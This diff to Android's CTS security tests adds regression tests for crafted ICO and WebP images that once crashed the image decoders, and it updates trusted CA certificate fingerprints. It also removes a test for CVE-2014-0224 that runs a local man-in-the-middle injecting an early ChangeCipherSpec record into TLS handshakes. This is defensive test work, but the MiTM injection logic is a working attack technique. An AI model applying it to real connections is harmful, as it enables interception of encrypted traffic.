- Bitmap expectedImage = BitmapFactory.decodeResource(ctx.getResources(), R.drawable.expected_output);
-
- double psnr = ImageCompare.psnr(outputImage, expectedImage);
- android.util.Log.i("RefocusTest", "psnr = " + String.format("%.02f", psnr));
- if (psnr < minimumPSNR) {
- MediaStoreSaver.savePNG(outputImage, "refocus", "refocus_output" , ctx);
- assertTrue("Required minimum psnr = " + String.format("%.02f; ", minimumPSNR) +
- "Actual psnr = " + String.format("%.02f", psnr),
- false);
- }
- rs.destroy();
}
diff --git a/tests/tests/security/res/raw/b38116746_new.ico b/tests/tests/security/res/raw/b38116746_new.ico
new file mode 100644
index 0000000..35ee5b5
--- /dev/null
+++ b/tests/tests/security/res/raw/b38116746_new.ico
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_67381469.webp b/tests/tests/security/res/raw/bug_67381469.webp
new file mode 100644
index 0000000..82ff6e4
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_67381469.webp
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index c8bfbb1..203db12 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -17,30 +17,56 @@
package android.security.cts;
import android.graphics.BitmapFactory;
+import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.SecurityTest;
import android.test.AndroidTestCase;
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileOutputStream;
import java.io.InputStream;
+import java.lang.Exception;
+
import android.security.cts.R;
@SecurityTest
public class BitmapFactorySecurityTests extends AndroidTestCase {
- private InputStream getResource(int resId) {
- InputStream resource = mContext.getResources().openRawResource(R.raw.bug_38116746);
- assertNotNull(resource);
- return resource;
+ private FileDescriptor getResource(int resId) {
+ try {
+ InputStream is = mContext.getResources().openRawResource(resId);
+ assertNotNull(is);
+ File file = File.createTempFile("BitmapFactorySecurityFile" + resId, "img");
+ file.deleteOnExit();
+ FileOutputStream output = new FileOutputStream(file);
+ byte[] buffer = new byte[1024];
+ int readLength;
+ while ((readLength = is.read(buffer)) != -1) {
+ output.write(buffer, 0, readLength);
+ }
+ is.close();
+ output.close();
+ ParcelFileDescriptor pfd = ParcelFileDescriptor.open(file,
+ ParcelFileDescriptor.MODE_READ_ONLY);
+ return pfd.getFileDescriptor();
+ } catch (Exception e) {
+ fail("Could not get resource " + resId + "! " + e);
+ return null;
+ }
}
/**
- * Verifies that decoding a corrupt ICO does not run out of memory.
+ * Verifies that decoding a corrupt ICO does crash.
*/
public void test_android_bug_38116746() {
- InputStream exploitImage = getResource(R.raw.bug_38116746);
+ FileDescriptor exploitImage = getResource(R.raw.bug_38116746);
try {
- BitmapFactory.decodeStream(exploitImage);
+ BitmapFactory.decodeFileDescriptor(exploitImage);
} catch (OutOfMemoryError e) {
fail("OOM attempting to decode ICO");
}
+
+ // This previously crashed in fread. No need to check the output.
+ BitmapFactory.decodeFileDescriptor(getResource(R.raw.b38116746_new));
}
}
diff --git a/tests/tests/security/src/android/security/cts/CertificateData.java b/tests/tests/security/src/android/security/cts/CertificateData.java
index b880f5f..68ec092 100644
--- a/tests/tests/security/src/android/security/cts/CertificateData.java
+++ b/tests/tests/security/src/android/security/cts/CertificateData.java
@@ -36,7 +36,6 @@
"75:E0:AB:B6:13:85:12:27:1C:04:F8:5F:DD:DE:38:E4:B7:24:2E:FE",
"DA:C9:02:4F:54:D8:F6:DF:94:93:5F:B1:73:26:38:CA:6A:D7:7C:13",
"74:20:74:41:72:9C:DD:92:EC:79:31:D8:23:10:8D:C2:81:92:E2:BB",
- "40:54:DA:6F:1C:3F:40:74:AC:ED:0F:EC:CD:DB:79:D1:53:FB:90:1D",
"F4:8B:11:BF:DE:AB:BE:94:54:20:71:E6:41:DE:6B:BE:88:2B:40:B9",
"58:E8:AB:B0:36:15:33:FB:80:F7:9B:1B:6D:29:D3:FF:8D:5F:00:F0",
"55:A6:72:3E:CB:F2:EC:CD:C3:23:74:70:19:9D:2A:BE:11:E3:81:D1",
@@ -51,6 +50,7 @@
"DA:FA:F7:FA:66:84:EC:06:8F:14:50:BD:C7:C2:81:A5:BC:A9:64:57",
"74:F8:A3:C3:EF:E7:B3:90:06:4B:83:90:3C:21:64:60:20:E5:DF:CE",
"31:43:64:9B:EC:CE:27:EC:ED:3A:3F:0B:8F:0D:E4:E8:91:DD:EE:CA",
+ "B7:AB:33:08:D1:EA:44:77:BA:14:80:12:5A:6F:BD:A9:36:49:0C:BB",
"5F:43:E5:B1:BF:F8:78:8C:AC:1C:C7:CA:4A:9A:C6:22:2B:CC:34:C6",
"2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E",
"79:5F:88:60:C5:AB:7C:3D:92:E6:CB:F4:8D:E1:45:CD:11:EF:60:0B",
@@ -64,7 +64,6 @@
"59:AF:82:79:91:86:C7:B4:75:07:CB:CF:03:57:46:EB:04:DD:B7:16",
"50:30:06:09:1D:97:D4:F5:AE:39:F7:CB:E7:92:7D:7D:65:2D:34:31",
"FE:45:65:9B:79:03:5B:98:A1:61:B5:51:2E:AC:DA:58:09:48:22:4D",
- "1B:4B:39:61:26:27:6B:64:91:A2:68:6D:D7:02:43:21:2D:1F:1D:96",
"8C:F4:27:FD:79:0C:3A:D1:66:06:8D:E8:1E:57:EF:BB:93:22:72:D4",
"2F:78:3D:25:52:18:A7:4A:65:39:71:B5:2C:A2:9C:45:15:6F:E9:19",
"BA:29:41:60:77:98:3F:F4:F3:EF:F2:31:05:3B:2E:EA:6D:4D:45:FD",
@@ -73,6 +72,7 @@
"36:79:CA:35:66:87:72:30:4D:30:A5:FB:87:3B:0F:A7:7B:B7:0D:54",
"1B:8E:EA:57:96:29:1A:C9:39:EA:B8:0A:81:1A:73:73:C0:93:79:67",
"6E:26:64:F3:56:BF:34:55:BF:D1:93:3F:7C:01:DE:D8:13:DA:8A:A6",
+ "74:3A:F0:52:9B:D0:32:A0:F4:4A:83:CD:D4:BA:A9:7B:7C:2E:C4:9A",
"D8:EB:6B:41:51:92:59:E0:F3:E7:85:00:C0:3D:B6:88:97:C9:EE:FC",
"66:31:BF:9E:F7:4F:9E:B6:C9:D5:A6:0C:BA:6A:BE:D1:F7:BD:EF:7B",
"DE:3F:40:BD:50:93:D3:9B:6C:60:F6:DA:BC:07:62:01:00:89:76:C9",
@@ -83,14 +83,14 @@
"43:13:BB:96:F1:D5:86:9B:C1:4E:6A:92:F6:CF:F6:34:69:87:82:37",
"F1:8B:53:8D:1B:E9:03:B6:A6:F0:56:43:5B:17:15:89:CA:F3:6B:F2",
"05:63:B8:63:0D:62:D7:5A:BB:C8:AB:1E:4B:DF:B5:A8:99:B2:4D:43",
- "62:52:DC:40:F7:11:43:A2:2F:DE:9E:F7:34:8E:06:42:51:B1:81:18",
"70:17:9B:86:8C:00:A4:FA:60:91:52:22:3F:9F:3E:32:BD:E0:05:62",
"D1:EB:23:A4:6D:17:D6:8F:D9:25:64:C2:F1:F1:60:17:64:D8:E3:49",
"B8:01:86:D1:EB:9C:86:A5:41:04:CF:30:54:F3:4C:52:B7:E5:58:C6",
- "2E:14:DA:EC:28:F0:FA:1E:8E:38:9A:4E:AB:EB:26:C0:0A:D3:83:C3",
+ "4C:DD:51:A3:D1:F5:20:32:14:B0:C6:C5:32:23:03:91:C7:46:42:6D",
"DE:28:F4:A4:FF:E5:B9:2F:A3:C5:03:D1:A3:49:A7:F9:96:2A:82:12",
"0D:44:DD:8C:3C:8C:1A:1A:58:75:64:81:E9:0F:2E:2A:FF:B3:D2:6E",
"CA:3A:FB:CF:12:40:36:4B:44:B2:16:20:88:80:48:39:19:93:7C:F7",
+ "FF:BD:CD:E7:82:C8:43:5E:3C:6F:26:86:5C:CA:A8:3A:45:5B:C3:0A",
"13:2D:0D:45:53:4B:69:97:CD:B2:D5:C3:39:E2:55:76:60:9B:5C:C6",
"5F:B7:EE:06:33:E2:59:DB:AD:0C:4C:9A:E6:D3:8F:1A:61:C7:DC:25",
"49:0A:75:74:DE:87:0A:47:FE:58:EE:F6:C7:6B:EB:C6:0B:12:40:99",
@@ -98,6 +98,7 @@
"29:36:21:02:8B:20:ED:02:F5:66:C5:32:D1:D6:ED:90:9F:45:00:2F",
"37:9A:19:7B:41:85:45:35:0C:A6:03:69:F3:3C:2E:AF:47:4F:20:79",
"FA:B7:EE:36:97:26:62:FB:2D:B0:2A:F6:BF:03:FD:E8:7C:4B:2F:9B",
+ "C3:19:7C:39:24:E6:54:AF:1B:C4:AB:20:95:7A:E2:C3:0E:13:02:6A",
"9F:74:4E:9F:2B:4D:BA:EC:0F:31:2C:50:B6:56:3B:8E:2D:93:C3:11",
"A1:4B:48:D9:43:EE:0A:0E:40:90:4F:3C:E0:A4:C0:91:93:51:5D:3F",
"C9:A8:B9:E7:55:80:5E:58:E3:53:77:A7:25:EB:AF:C3:7B:27:CC:D7",
@@ -119,6 +120,7 @@
"AA:DB:BC:22:23:8F:C4:01:A1:27:BB:38:DD:F4:1D:DB:08:9E:F0:12",
"E2:52:FA:95:3F:ED:DB:24:60:BD:6E:28:F3:9C:CC:CF:5E:B3:3F:DE",
"3B:C4:9F:48:F8:F3:73:A0:9C:1E:BD:F8:5B:B1:C3:65:C7:D8:11:B3",
+ "0F:36:38:5B:81:1A:25:C3:9B:31:4E:83:CA:E9:34:66:70:CC:74:B4",
"28:90:3A:63:5B:52:80:FA:E6:77:4C:0B:6D:A7:D6:BA:A6:4A:F2:E8",
"9C:BB:48:53:F6:A4:F6:D3:52:A4:E8:32:52:55:60:13:F5:AD:AF:65",
"B1:BC:96:8B:D4:F4:9D:62:2A:A8:9A:81:F2:15:01:52:A4:1D:82:9C",
@@ -129,6 +131,7 @@
"47:BE:AB:C9:22:EA:E8:0E:78:78:34:62:A7:9F:45:C2:54:FD:E6:8B",
"3A:44:73:5A:E5:81:90:1F:24:86:61:46:1E:3B:9C:C4:5F:F5:3A:1B",
"B3:1E:B1:B7:40:E3:6C:84:02:DA:DC:37:D4:4D:F5:D4:67:49:52:F9",
+ "58:D1:DF:95:95:67:6B:63:C0:F0:5B:1C:17:4D:8B:84:0B:C8:78:BD",
"F5:17:A2:4F:9A:48:C6:C9:F8:A2:00:26:9F:DC:0F:48:2C:AB:30:89",
"3B:C0:38:0B:33:C3:F6:A6:0C:86:15:22:93:D9:DF:F5:4B:81:C0:04",
"03:9E:ED:B8:0B:E7:A0:3C:69:53:89:3B:20:D2:D9:32:3A:4C:2A:FD",
@@ -139,12 +142,12 @@
"B8:23:6B:00:2F:1D:16:86:53:01:55:6C:11:A4:37:CA:EB:FF:C3:BB",
"87:82:C6:C3:04:35:3B:CF:D2:96:92:D2:59:3E:7D:44:D9:34:FF:11",
"59:0D:2D:7D:88:4F:40:2E:61:7E:A5:62:32:17:65:CF:17:D8:94:E9",
+ "B8:BE:6D:CB:56:F1:55:B9:63:D4:12:CA:4E:06:34:C7:94:B2:1C:C0",
"AE:C5:FB:3F:C8:E1:BF:C4:E5:4F:03:07:5A:9A:E8:00:B7:F7:B6:FA",
"DF:71:7E:AA:4A:D9:4E:C9:55:84:99:60:2D:48:DE:5F:BC:F0:3A:25",
"F6:10:84:07:D6:F8:BB:67:98:0C:C2:E2:44:C2:EB:AE:1C:EF:63:BE",
"AF:E5:D2:44:A8:D1:19:42:30:FF:47:9F:E2:F8:97:BB:CD:7A:8C:B4",
"5F:3B:8C:F2:F8:10:B3:7D:78:B4:CE:EC:19:19:C3:73:34:B9:C7:74",
- "F1:7F:6F:B6:31:DC:99:E3:A3:C8:7F:FE:1C:F1:81:10:88:D9:60:33",
"9D:70:BB:01:A5:A4:A0:18:11:2E:F7:1C:01:B9:32:C5:34:E7:88:A8",
"96:C9:1B:0B:95:B4:10:98:42:FA:D0:D8:22:79:FE:60:FA:B9:16:83",
"4F:65:8E:1F:E9:06:D8:28:02:E9:54:47:41:C9:54:25:5D:69:CC:1A",
@@ -155,7 +158,6 @@
"F9:B5:B6:32:45:5F:9C:BE:EC:57:5F:80:DC:E9:6E:2C:C7:B2:78:B7",
"E6:21:F3:35:43:79:05:9A:4B:68:30:9D:8A:2F:74:22:15:87:EC:79",
"89:DF:74:FE:5C:F4:0F:4A:80:F9:E3:37:7D:54:DA:91:E1:01:31:8E",
- "E0:B4:32:2E:B2:F6:A5:68:B6:54:53:84:48:18:4A:50:36:87:43:84",
"7E:04:DE:89:6A:3E:66:6D:00:E6:87:D3:3F:FA:D9:3B:E8:3D:34:9E",
"6E:3A:55:A4:19:0C:19:5C:93:84:3C:C0:DB:72:2E:31:30:61:F0:B1",
"4E:B6:D5:78:49:9B:1C:CF:5F:58:1E:AD:56:BE:3D:9B:67:44:A5:E5",
diff --git a/tests/tests/security/src/android/security/cts/DecodeTest.java b/tests/tests/security/src/android/security/cts/DecodeTest.java
index e64e37a..0e92310 100644
--- a/tests/tests/security/src/android/security/cts/DecodeTest.java
+++ b/tests/tests/security/src/android/security/cts/DecodeTest.java
@@ -38,4 +38,17 @@
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
assertNull(bitmap);
}
+
+ /**
+ * Verifies that the device fails to decode a truncated animated webp.
+ *
+ * Prior to fixing bug 67381469, decoding this file would crash. Instead, it should fail to
+ * decode.
+ */
+ @SecurityTest
+ public void test_android_bug_67381469() {
+ InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_67381469);
+ Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
+ assertNull(bitmap);
+ }
}
diff --git a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java b/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
deleted file mode 100644
index a6bad84..0000000
--- a/tests/tests/security/src/android/security/cts/OpenSSLEarlyCCSTest.java
+++ /dev/null
@@ -1,582 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-import android.security.cts.OpenSSLHeartbleedTest.AlertMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HandshakeMessage;
-import android.security.cts.OpenSSLHeartbleedTest.HardcodedCertX509KeyManager;
-import android.security.cts.OpenSSLHeartbleedTest.TlsProtocols;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecord;
-import android.security.cts.OpenSSLHeartbleedTest.TlsRecordReader;
-import android.security.cts.OpenSSLHeartbleedTest.TrustAllX509TrustManager;
-import android.test.InstrumentationTestCase;
-import android.util.Log;
-
-import java.io.ByteArrayInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketAddress;
-import java.security.KeyFactory;
-import java.security.PrivateKey;
-import java.security.cert.CertificateFactory;
-import java.security.cert.X509Certificate;
-import java.security.spec.PKCS8EncodedKeySpec;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.Future;
-import java.util.concurrent.TimeUnit;
-
-import javax.net.ServerSocketFactory;
-import javax.net.SocketFactory;
-import javax.net.ssl.KeyManager;
-import javax.net.ssl.SSLContext;
-import javax.net.ssl.SSLServerSocket;
-import javax.net.ssl.SSLSocket;
-import javax.net.ssl.TrustManager;
-
-/**
- * Tests for the OpenSSL early ChangeCipherSpec (CCS) vulnerability (CVE-2014-0224).
- */
-@SecurityTest
-public class OpenSSLEarlyCCSTest extends InstrumentationTestCase {
-
- // IMPLEMENTATION NOTE: This test spawns an SSLSocket client, SSLServerSocket server, and a
- // Man-in-The-Middle (MiTM). The client connects to the MiTM which then connects to the server
- // and starts forwarding all TLS records between the client and the server. In tests that check
- // for the early CCS vulnerability, the MiTM also injects an early ChangeCipherSpec record into
- // the traffic to which a correctly implemented peer is supposed to reply by immediately
- // aborting the TLS handshake with an unexpected_message fatal alert.
-
- // IMPLEMENTATION NOTE: This test spawns several background threads that perform network I/O
- // on localhost. To ensure that these background threads are cleaned up at the end of the test,
- // tearDown() kills the sockets they may be using. To aid this behavior, all Socket and
- // ServerSocket instances are available as fields of this class. These fields should be accessed
- // via setters and getters to avoid memory visibility issues due to concurrency.
-
- private static final String TAG = OpenSSLEarlyCCSTest.class.getSimpleName();
-
- private SSLServerSocket mServerListeningSocket;
- private SSLSocket mServerSocket;
- private SSLSocket mClientSocket;
- private ServerSocket mMitmListeningSocket;
- private Socket mMitmServerSocket;
- private Socket mMitmClientSocket;
- private ExecutorService mExecutorService;
-
- private boolean mCCSWasInjected;
- private TlsRecord mFirstRecordReceivedAfterCCSWasInjected;
- private boolean mFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted;
-
- @Override
- protected void tearDown() throws Exception {
- Log.i(TAG, "Tearing down");
- try {
- if (mExecutorService != null) {
- mExecutorService.shutdownNow();
- }
- OpenSSLHeartbleedTest.closeQuietly(getServerListeningSocket());
- OpenSSLHeartbleedTest.closeQuietly(getServerSocket());
- OpenSSLHeartbleedTest.closeQuietly(getClientSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmListeningSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmServerSocket());
- OpenSSLHeartbleedTest.closeQuietly(getMitmClientSocket());
- } finally {
- super.tearDown();
- Log.i(TAG, "Tear down completed");
- }
- }
-
- /**
- * Tests that TLS handshake succeeds when the MiTM simply forwards all data without tampering
- * with it. This is to catch issues unrelated to early CCS.
- */
- public void testWithoutEarlyCCS() throws Exception {
- handshake(false, false);
- }
-
- /**
- * Tests whether client sockets are vulnerable to early CCS.
- */
- public void testEarlyCCSInjectedIntoClient() throws Exception {
- checkEarlyCCS(true);
- }
-
- /**
- * Tests whether server sockets are vulnerable to early CCS.
- */
- public void testEarlyCCSInjectedIntoServer() throws Exception {
- checkEarlyCCS(false);
- }
-
- /**
- * Tests for the early CCS vulnerability.
- *
- * @param client {@code true} to test the client, {@code false} to test the server.
- */
- private void checkEarlyCCS(boolean client) throws Exception {
- // IMPLEMENTATION NOTE: The MiTM is forwarding all TLS records between the client and the
- // server unmodified. Additionally, the MiTM transmits an early ChangeCipherSpec to server
- // (if "client" argument is false) right before client's ClientKeyExchange or to client (if
- // "client" argument is true) right before server's Certificate. The peer is expected to
- // to abort the handshake immediately with unexpected_message alert.
- try {
- handshake(true, client);
- // TLS handshake succeeded
- assertTrue("Early CCS injected", wasCCSInjected());
- fail("Handshake succeeded despite early CCS having been injected");
- } catch (ExecutionException e) {
- // TLS handshake failed
- assertTrue("Early CCS injected", wasCCSInjected());
- TlsRecord firstRecordReceivedAfterCCSWasInjected =
- getFirstRecordReceivedAfterCCSWasInjected();
- assertNotNull(
- "Nothing received after early CCS was injected",
- firstRecordReceivedAfterCCSWasInjected);
- if (firstRecordReceivedAfterCCSWasInjected.protocol == TlsProtocols.ALERT) {
- AlertMessage alert = AlertMessage.tryParse(firstRecordReceivedAfterCCSWasInjected);
- if ((alert != null)
- && (alert.level == AlertMessage.LEVEL_FATAL)
- && (alert.description == AlertMessage.DESCRIPTION_UNEXPECTED_MESSAGE)) {
- // Expected/correct response to an early CCS
- return;
- }
- }
- fail("SSLSocket is vulnerable to early CCS in " + ((client) ? "client" : "server")
- + " mode: unexpected record received after CCS was injected: "
- + getRecordInfo(
- getFirstRecordReceivedAfterCCSWasInjected(),
- getFirstRecordReceivedAfterCCSWasInjectedMayBeEncrypted()));
- }
- }
-
- /**
- * Starts the client, server, and the MiTM. Makes the client and server perform a TLS handshake
- * and exchange application-level data. The MiTM injects a ChangeCipherSpec record if requested
- * by {@code earlyCCSInjected}. The direction of the injected message is specified by
- * {@code injectedIntoClient}.
- */
- private void handshake(
- final boolean earlyCCSInjected,
- final boolean injectedIntoClient) throws Exception {
- mExecutorService = Executors.newFixedThreadPool(4);
- setServerListeningSocket(serverBind());
- final SocketAddress serverAddress = getServerListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "Server bound to " + serverAddress);
-
- setMitmListeningSocket(mitmBind());
- final SocketAddress mitmAddress = getMitmListeningSocket().getLocalSocketAddress();
- Log.i(TAG, "MiTM bound to " + mitmAddress);
-
- // Start the MiTM daemon in the background
- mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- mitmAcceptAndForward(serverAddress, earlyCCSInjected, injectedIntoClient);
- return null;
- }
- });
- // Start the server in the background
- Future<Void> serverFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- serverAcceptAndHandshake();
- return null;
- }
- });
- // Start the client in the background
- Future<Void> clientFuture = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- clientConnectAndHandshake(mitmAddress);
- return null;
- }
- });
-
- // Wait for both client and server to terminate, to ensure that we observe all the traffic
- // exchanged between them. Throw an exception if one of them failed.
- Log.i(TAG, "Waiting for client");
- // Wait for the client, but don't yet throw an exception if it failed.
- Exception clientException = null;
- try {
- clientFuture.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- clientException = e;
- }
- Log.i(TAG, "Waiting for server");
- // Wait for the server and throw an exception if it failed.
- serverFuture.get(5, TimeUnit.SECONDS);
- // Throw an exception if the client failed.
- if (clientException != null) {
- throw clientException;
- }
- Log.i(TAG, "Handshake completed and application data exchanged");
- }
-
- private void clientConnectAndHandshake(SocketAddress serverAddress) throws Exception {
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- null,
- new TrustManager[] {new TrustAllX509TrustManager()},
- null);
- SSLSocket socket = (SSLSocket) sslContext.getSocketFactory().createSocket();
- setClientSocket(socket);
- try {
- Log.i(TAG, "Client connecting to " + serverAddress);
- socket.connect(serverAddress);
- Log.i(TAG, "Client connected to server from " + socket.getLocalSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("client".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Client sent request. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Client read response: " + b);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "Client failed", e);
- throw e;
- } finally {
- socket.close();
- }
- }
-
- private SSLServerSocket serverBind() throws Exception {
- // Load the server's private key and cert chain
- KeyFactory keyFactory = KeyFactory.getInstance("RSA");
- PrivateKey privateKey = keyFactory.generatePrivate(new PKCS8EncodedKeySpec(
- OpenSSLHeartbleedTest.readResource(
- getInstrumentation().getContext(), R.raw.openssl_heartbleed_test_key)));
- CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
- X509Certificate[] certChain = new X509Certificate[] {
- (X509Certificate) certFactory.generateCertificate(
- new ByteArrayInputStream(OpenSSLHeartbleedTest.readResource(
- getInstrumentation().getContext(),
- R.raw.openssl_heartbleed_test_cert)))
- };
-
- // Initialize TLS context to use the private key and cert chain for server sockets
- SSLContext sslContext = SSLContext.getInstance("TLS");
- sslContext.init(
- new KeyManager[] {new HardcodedCertX509KeyManager(privateKey, certChain)},
- null,
- null);
-
- Log.i(TAG, "Server binding to local port");
- return (SSLServerSocket) sslContext.getServerSocketFactory().createServerSocket(0);
- }
-
- private void serverAcceptAndHandshake() throws Exception {
- SSLSocket socket = null;
- SSLServerSocket serverSocket = getServerListeningSocket();
- try {
- Log.i(TAG, "Server listening for incoming connection");
- socket = (SSLSocket) serverSocket.accept();
- setServerSocket(socket);
- Log.i(TAG, "Server accepted connection from " + socket.getRemoteSocketAddress());
- // Ensure a TLS handshake is performed and an exception is thrown if it fails.
- socket.getOutputStream().write("server".getBytes());
- socket.getOutputStream().flush();
- Log.i(TAG, "Server sent reply. Reading response");
- int b = socket.getInputStream().read();
- Log.i(TAG, "Server read response: " + b);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "Server failed", e);
- throw e;
- } finally {
- if (socket != null) {
- socket.close();
- }
- }
- }
-
- private ServerSocket mitmBind() throws Exception {
- Log.i(TAG, "MiTM binding to local port");
- return ServerSocketFactory.getDefault().createServerSocket(0);
- }
-
- /**
- * Accepts the connection on the MiTM listening socket, forwards the TLS records between the
- * client and the server, and, if requested, injects an early {@code ChangeCipherSpec} record.
- *
- * @param injectEarlyCCS whether to inject an early {@code ChangeCipherSpec} record.
- * @param injectIntoClient when {@code injectEarlyCCS} is {@code true}, whether to inject the
- * {@code ChangeCipherSpec} record into client or into server.
- */
- private void mitmAcceptAndForward(
- SocketAddress serverAddress,
- final boolean injectEarlyCCS,
- final boolean injectIntoClient) throws Exception {
- Socket clientSocket = null;
- Socket serverSocket = null;
- ServerSocket listeningSocket = getMitmListeningSocket();
- try {
- Log.i(TAG, "MiTM waiting for incoming connection");
- clientSocket = listeningSocket.accept();
- setMitmClientSocket(clientSocket);
- Log.i(TAG, "MiTM accepted connection from " + clientSocket.getRemoteSocketAddress());
- serverSocket = SocketFactory.getDefault().createSocket();
- setMitmServerSocket(serverSocket);
- Log.i(TAG, "MiTM connecting to server " + serverAddress);
- serverSocket.connect(serverAddress, 10000);
- Log.i(TAG, "MiTM connected to server from " + serverSocket.getLocalSocketAddress());
- final InputStream serverInputStream = serverSocket.getInputStream();
- final OutputStream clientOutputStream = clientSocket.getOutputStream();
- Future<Void> serverToClientTask = mExecutorService.submit(new Callable<Void>() {
- @Override
- public Void call() throws Exception {
- // Inject early ChangeCipherSpec before Certificate, if requested
- forwardTlsRecords(
- "MiTM S->C",
- serverInputStream,
- clientOutputStream,
- (injectEarlyCCS && injectIntoClient)
- ? HandshakeMessage.TYPE_CERTIFICATE : -1);
- return null;
- }
- });
- // Inject early ChangeCipherSpec before ClientKeyExchange, if requested
- forwardTlsRecords(
- "MiTM C->S",
- clientSocket.getInputStream(),
- serverSocket.getOutputStream(),
- (injectEarlyCCS && !injectIntoClient)
- ? HandshakeMessage.TYPE_CLIENT_KEY_EXCHANGE : -1);
- serverToClientTask.get(10, TimeUnit.SECONDS);
- } catch (Exception e) {
- // Make sure the test log includes exceptions from all parties involved.
- Log.w(TAG, "MiTM failed", e);
- throw e;
- } finally {
- OpenSSLHeartbleedTest.closeQuietly(clientSocket);
- OpenSSLHeartbleedTest.closeQuietly(serverSocket);
- }
- }
-
- /**
- * Forwards TLS records from the provided {@code InputStream} to the provided
- * {@code OutputStream}. If requested, injects an early {@code ChangeCipherSpec}.
- */
- private void forwardTlsRecords(
- String logPrefix,
- InputStream in,
- OutputStream out,
- int handshakeMessageTypeBeforeWhichToInjectEarlyCCS) throws Exception {
- Log.i(TAG, logPrefix + ": record forwarding started");
- boolean interestingRecordsLogged =
- handshakeMessageTypeBeforeWhichToInjectEarlyCCS == -1;
- try {
- TlsRecordReader reader = new TlsRecordReader(in);
- byte[] recordBytes;
- // Fragments contained in records may be encrypted after a certain point in the
- // handshake. Once they are encrypted, this MiTM cannot inspect their plaintext which.
- boolean fragmentEncryptionMayBeEnabled = false;
- while ((recordBytes = reader.readRecord()) != null) {
- TlsRecord record = TlsRecord.parse(recordBytes);
- forwardTlsRecord(logPrefix,
- recordBytes,
- record,
- fragmentEncryptionMayBeEnabled,
- out,
- interestingRecordsLogged,
- handshakeMessageTypeBeforeWhichToInjectEarlyCCS);
- if (record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC) {
- fragmentEncryptionMayBeEnabled = true;
- }
- }
- } finally {
- Log.d(TAG, logPrefix + ": record forwarding finished");
- }
- }
-
- private void forwardTlsRecord(
- String logPrefix,
- byte[] recordBytes,
- TlsRecord record,
- boolean fragmentEncryptionMayBeEnabled,
- OutputStream out,
- boolean interestingRecordsLogged,
- int handshakeMessageTypeBeforeWhichToInjectCCS) throws IOException {
- // Save information about the record if it's of interest to this test
- if (interestingRecordsLogged) {
- if (wasCCSInjected()) {
- setFirstRecordReceivedAfterCCSWasInjected(record, fragmentEncryptionMayBeEnabled);
- }
- } else if ((record.protocol == TlsProtocols.CHANGE_CIPHER_SPEC)
- && (handshakeMessageTypeBeforeWhichToInjectCCS != -1)) {
- // Do not forward original ChangeCipherSpec record(s) if we're injecting such a record
- // ourselves. This is to make sure that the peer sees only one ChangeCipherSpec.
- Log.i(TAG, logPrefix + ": Dropping TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- return;
- }
-
- // Inject a ChangeCipherSpec, if necessary, before the specified handshake message type
- if (handshakeMessageTypeBeforeWhichToInjectCCS != -1) {
- if ((!fragmentEncryptionMayBeEnabled) && (OpenSSLHeartbleedTest.isHandshakeMessageType(
- record, handshakeMessageTypeBeforeWhichToInjectCCS))) {
- Log.i(TAG, logPrefix + ": Injecting ChangeCipherSpec");
- setCCSWasInjected();
- out.write(createChangeCipherSpecRecord(record.versionMajor, record.versionMinor));
- out.flush();
- }
- }
-
- Log.i(TAG, logPrefix + ": Forwarding TLS record. "
- + getRecordInfo(record, fragmentEncryptionMayBeEnabled));
- out.write(recordBytes);
- out.flush();
- }
-
- private static String getRecordInfo(TlsRecord record, boolean mayBeEncrypted) {
- StringBuilder result = new StringBuilder();
- result.append(getProtocolName(record.protocol))
- .append(", ")
- .append(getFragmentInfo(record, mayBeEncrypted));
- return result.toString();
- }
-
- private static String getProtocolName(int protocol) {
- switch (protocol) {
- case TlsProtocols.ALERT:
